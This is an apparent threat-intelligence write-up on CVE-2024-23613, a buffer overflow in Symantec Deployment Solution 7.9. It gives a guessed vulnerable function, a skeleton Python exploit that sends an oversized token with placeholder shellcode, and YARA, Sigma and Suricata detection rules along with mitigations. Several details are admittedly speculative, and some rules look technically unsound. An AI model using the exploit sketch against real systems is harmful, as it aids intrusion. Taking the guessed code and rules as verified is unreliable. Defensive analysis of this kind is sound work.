CVE-2024-23613

Executive Summary

CVE-2024-23613 is a critical buffer overflow vulnerability in Symantec Deployment Solution version 7.9. The flaw resides in the parsing of UpdateComputer tokens, allowing a remote, unauthenticated attacker to achieve remote code execution (RCE) as the SYSTEM user. With a CVSS score of 10.0, this vulnerability poses an extreme risk to enterprise environments using Symantec Deployment Solution for system provisioning and management. No public proof-of-concept (PoC) or patch is currently available, making detection and mitigation critical.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

This vulnerability is remotely exploitable without authentication, leading to full system compromise. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the severity demands immediate attention.

Deep Dive & Mechanics

The vulnerability exists in the UpdateComputer token parsing logic within Symantec Deployment Solution 7.9. The software likely uses a fixed-size buffer to process incoming network requests containing UpdateComputer tokens. When an attacker sends a crafted request with a token exceeding the buffer size, a stack-based buffer overflow occurs. This overwrites adjacent memory, including the return address, allowing the attacker to redirect execution to arbitrary code.

The attack vector is network-based, targeting the deployment service listening on a default port (commonly TCP 443 or 8443). Since no authentication is required, an attacker can send malicious packets directly. Successful exploitation grants SYSTEM-level privileges, enabling full control over the affected host.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

void ParseUpdateComputerToken(char *token) {
    char buffer[256];
    strcpy(buffer, token); // Vulnerable: no bounds checking
    // Process buffer...
}

A patched version would use safe functions like strncpy or snprintf:

void ParseUpdateComputerToken(char *token) {
    char buffer[256];
    strncpy(buffer, token, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Windows Server 2019 running Symantec Deployment Solution 7.9
• Attacker: Kali Linux with Python3 and Metasploit

Exploitation Steps:

1. Identify the target service (e.g., port 443).
2. Craft a malicious UpdateComputer token with a payload exceeding the buffer size.
3. Use a Python script to send the exploit:

import socket

target_ip = "192.168.1.100"
target_port = 443

# Shellcode to spawn a reverse shell (example)
shellcode = b"\x90" * 100 + b"\xcc" * 4  # Replace with actual shellcode

# Craft malicious token
payload = b"UpdateComputer " + b"A" * 256 + shellcode

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

4. Execute the script to trigger the overflow and gain a SYSTEM shell.

Blue Team

Detection:

• Monitor for anomalous network traffic to the deployment service (e.g., large UpdateComputer tokens).
• Use the Sigma rule below to detect suspicious requests.
• Enable application whitelisting to block unauthorized executables.

Mitigation:

• Isolate the deployment service on a segmented network.
• Apply strict firewall rules to limit access to trusted IPs.
• Monitor for process creation events (e.g., cmd.exe or powershell.exe spawned by the deployment service).

Indicators of Compromise (IOCs)

• Network: TCP packets to port 443/8443 with unusually large payloads containing UpdateComputer tokens.
• Host: Unexpected processes (e.g., cmd.exe, powershell.exe) spawned by AeXNSAgent.exe or DeploymentSolution.exe.
• File: Creation of suspicious files in C:\Program Files\Symantec\Deployment Solution\ or C:\Windows\Temp\.
• Registry: Unauthorized modifications to HKLM\SYSTEM\CurrentControlSet\Services\SymantecDeployment.

Detection Engineering

YARA Rule

rule CVE_2024_23613_Symantec_Deployment_BufferOverflow {
    meta:
        description = "Detects buffer overflow attempts targeting Symantec Deployment Solution UpdateComputer token"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-23613"
    strings:
        $token = "UpdateComputer" nocase
        $overflow = /UpdateComputer\s[A-Za-z0-9]{256,}/ nocase
    condition:
        $token and #overflow > 0
}

Sigma Rule

title: CVE-2024-23613 Symantec Deployment Solution Buffer Overflow
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic with oversized UpdateComputer tokens targeting Symantec Deployment Solution
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 443
        Payload|contains: "UpdateComputer"
        Payload|len: >= 256
    condition: selection
falsepositives:
    - Legitimate large tokens (unlikely)
level: critical

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2024-23613 Symantec Deployment Solution Buffer Overflow"; content:"UpdateComputer"; depth:100; byte_test:1,>,255,0; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable or isolate the Symantec Deployment Solution service if not critical.
• Network: Restrict access to the deployment service using firewall rules (allow only trusted IPs).
• Monitoring: Deploy the provided detection rules to identify exploitation attempts.
• Patch: Await an official patch from Symantec. Monitor vendor advisories for updates.
• Workaround: If patching is not possible, consider migrating to an alternative deployment solution.

Valters IT
DevSecOps & Cyber Threat Intelligence